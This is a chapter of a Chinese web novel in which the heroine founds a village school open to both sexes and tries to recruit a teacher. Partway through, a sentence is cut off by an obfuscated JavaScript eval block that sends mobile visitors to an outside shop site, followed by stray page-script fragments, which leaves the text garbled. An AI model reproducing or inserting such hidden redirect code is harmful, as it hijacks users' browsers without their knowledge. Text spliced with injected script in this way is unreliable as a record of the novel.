林挽倾的目光扫过众人道:“另外,我要在村里建座学堂,不论男女老少,皆可入学。”
话音刚落,赵叔犹豫着开口:“神使大人……女子怎么能进学堂呢?自古没这个道理啊。”
林挽倾平静地看着他,未发一言,却压得他喘不过气来。好半晌,她才道:“自古未有,不代表往后不会有。”
“这不合规矩。”赵叔忍不住道。
“我的规矩就是规矩。”林挽倾难得展示了她强势的一面,底下的人不自觉地噤了声。
赵叔站在原地,沉默了好一会儿。旁边有人轻轻咳了一声,那意思再明显不过,听神使大人的吧,别犟了。
赵叔终究没再说什么,默默地退回了人群。
寇莲举起手,目光亮晶晶地望着林挽倾道:“神使大人,我能去学吗?”
林挽倾看向她,声音温柔了许多:“当然可以。”
站在她旁边的姚珍珍犹豫了一下,也跟着道:“我家丫头今年刚满八岁,能不能也让她也去进学?”
林挽倾温和地点了点头:“只要有心,都能去学。”
妇人的眼神里闪过一丝亮光,女儿赶上了好时候!
“还有什么要问的吗?”林挽倾转向众人,耐心询问道。
一个年轻后生从人堆里探出来,腼腆地笑道:“神使大人,要是我们实在太笨学不会怎么办?教书先生会不会气得打我们?”
众人顿时哄堂大笑,原本略显尴尬的气氛变得欢快起来。
林挽倾的嘴角微微抽动了一下,“打你们倒不至于,不过极有可能挨骂,你们可得好好受着了。”
众人又是一阵笑,年轻后生也是嘿嘿笑着直挠头。
林挽倾的薄唇也跟着上扬:“没事的话都散了吧。”
等人群散后,林挽倾沿着村中大路不紧不慢地往老宅的方向走去。
此时,钱明松正伏在案前,一笔一画写着什么。
林挽倾推门而入的声音打断了他的思绪,他正要皱眉,抬头一看见是林挽倾,眉头一松,玩味道:“稀客啊,神使大人怎么有空过来?”
对于他的调侃,林挽倾也不恼,毕竟后面还要给人家加担子呢,先让他过个嘴瘾又何妨。
她开门见山道:“村里要建学堂,我想请你当个教书先生。”
钱明松被她突如其来的话给砸懵了,“……教书先生?我?”他抬眼看向林挽倾,试图从她眼里找出玩笑的痕迹。
林挽倾一点也不意外他这个反应,反而自顾自地在他对面坐下:“你识文断字,还是从城里来的大人物,不找你找谁。”
钱明松瞪大了眼睛,一脸难以置信地望着她道:“你怎么知道我是从京城来的?”
林挽倾唇角上扬,眼里闪过一丝戏谑:“我可没说。”
“你套我话!”钱明松怒了。
林挽倾摊开手,一脸无辜道:“我没有,是你自己说的。”
钱明松怒了一下,又很快散去怒气,但他还是赌气道:“我不当。”
说完,他偷偷瞟了她一眼道:“过几天我就要回去了,不能在村里久待。”
林挽倾理解地点点头,“真是太可惜了。你那边有其他合适的人选吗?”
她问得自然,没有半点被拒绝后的尴尬。
钱明松认真思忖了片刻道:“县城里有家清远书院,里头几位教书先生都是有真本事的,你可以试着邀请一番。”
他说着,又偷偷瞄了她一眼,目光里带着毫不掩饰的促狭,像是已经预见了她碰壁的光景:“不过,那些先生大多清高,怕是得费些功夫才能请得动。”
林挽倾神色从容,仿佛丝毫未察觉他等着看好戏的模样,只是淡定颔首道:“多谢你的消息。”
钱明松眼底闪过一丝欣赏,倒是个意志坚定之人。
正当他准备再指点几句时,林挽倾却道:“在你还没离开之前,还得劳烦你当几日教书先生。”
钱明松的嘴角顿时往下一垮,说来说去还是不肯放过他。
说完,她像是又想起什么道:“对了,求学之人男女老少皆有,希望你多担待担待。”
钱明松眼神蓦地一变,像是头一回认识她一般。
有教无类,是圣人之道。她所行之路,远比自己想象的要宏大。
钱明松看她的眼神多了几分敬重,语气认真道:“我会一视同仁的。”
林挽倾点点头,起身欲走,钱明松的声音从她身后响起:“清远书院的庞秀才比旁的先生要好说话些。”
林挽倾冲他摆摆手,示意自己知道了。
钱明松看着她远去的背影,笑着低语:“多谢你让我看到了世外桃源。”
早已走远了的林挽倾自然没有听到他的感慨,她找到吴永道:“吴永,收拾一下,跟我去趟县城。”
“咱们得给村里找个教书先生。”
吴永向来唯林挽倾命是从,闻言招来宋大壮让他们继续带队训练,自己则快步前往马棚将马牵了出来。
县城四家书院,清远书院位列第三,说到底是这些年考中秀才的人太少,名气被前两家压了一头。
吴永在书院附近寻了家还算便宜的客栈,将马车安顿妥当,之后便领着林挽倾去清远书院。
书院地处偏僻较为幽静,走近几步还能听到朗朗的读书声。
林挽倾在书院门口站定,只见门楣上挂着一块褪了色的木匾,上书“清远书院”四个字,细看起来横平竖直间带着一股不惧风霜的傲骨,一眼便让人心生好感。
林挽倾好奇地问道:“这字何人所写?”
门房多看了她一眼,心里有些纳罕。来清远书院的人,十个里有九个是来问求学之事的,像她这样问木匾上的字倒是头一回见。
但他还是老老实实地回答了:“是我们书院院长写的。”
林挽倾朝他拱了拱手,客气道:“多谢解答。”
随后问道:“请问庞秀才今日可在书院?我有些事想当面请教他。”
门房摇了摇头,语气里带着几分遗憾:“哎呀,真是不巧。庞秀才的夫人前几日病了,他告了好几天的假,专程回家照料去了。”
林挽倾闻言一愣,确
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784847|205922||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
实不凑巧。
“敢问庞秀才家住在何处?”
门房倒也没多想,爽快地指了路:“出巷口往西走,过两座石桥,第三棵大柳树底下那户青瓦院便是了。门口种了一丛竹子,好认得很。”
林挽倾再次拱手道谢,这才领着吴永走出了书院大门。
走着走着,她的脚步突然慢了下来。
既是去别人家中做客,总不好两手空空。于是她脚步一转,径直拐进了街角一家点心铺,挑了一包松子糖和半斤桂花糕。
吴永跟在后头拎着东西,忍不住嘀咕了一句:“神使大人,您这又是糖又是糕点的,不知道的还以为是去走亲戚呢。”
林挽倾没回头,只淡淡回了一句:“求人办事,总要有些诚意。”
“笃笃。”林挽倾上前轻轻敲了两下门。
不一会儿,门从里头拉开,露出一张约莫四十出头的面孔来。
他看了看林挽倾,又看了看她身后拎着东西的吴永,目光带着几分疑惑道:“二位是……?”
林挽倾朝他略一欠身:“庞先生,冒昧打扰。我是从土家村来的,姓林。”
庞秀才微微一愣,温和地问道:“林姑娘客气了。不知你寻我,所为何事?”
见他问起,林挽倾也不跟他绕弯子,直白道:“土家村正缺一位教书先生,听说庞先生学问好,又肯耐心教人,所以便冒昧来问问先生是否愿意到我们村里去教书?”
庞秀才闻言眉头微蹙,“多谢林姑娘厚爱,我已在清远书院教书多年,不愿另投他处。”
他说得客气,手却很诚实地想要将门掩上。
林挽倾连忙道:“我只是想让村里人识字懂理,先生您教书育人,应该懂得寒门求学的艰难。”
“您能否给他们一个机会?”
庞秀才关门的手停了一瞬。
林挽倾接着道,只是声音小了许多,“就是来学的人可能有点杂,男女老少都有。”
庞秀才的脸顿时一黑,只听“啪”的一声,门在她面前重重地关上了。
“不知所谓!”庞秀才在门里怒骂道。
林挽倾将松子糖和桂花糕轻轻搁在石阶上,声音诚恳道:“庞先生,我还会再来的。”
一听这话,门缝里又传出庞秀才气冲冲的声音,“别来了!”
林挽倾站在门外,轻轻叹了口气。看来这一趟,是彻底把人给惹恼了。
这也在她意料之中,现有的学堂向来只收男丁,女子只能请先生在家教授琴棋书画。
但她想要做的是,男女皆可平等地接受教育,学成之后各有用处,不论出身与性别,皆能以所学立身。
“走吧,我们明天再来。”
吴永跟在她身后,压低声音问道:“大人,您觉得他会答应吗?”
林挽倾长叹一声道:“我也不知道。”
像钱明松这样的人终究是少数。
林挽倾找了处茶棚,问店家要了两碗粗茶,坐下来慢慢喝着。
吴永见她端着茶碗细致地吹着浮沫,忍不住道:“大人,您是真不急啊。”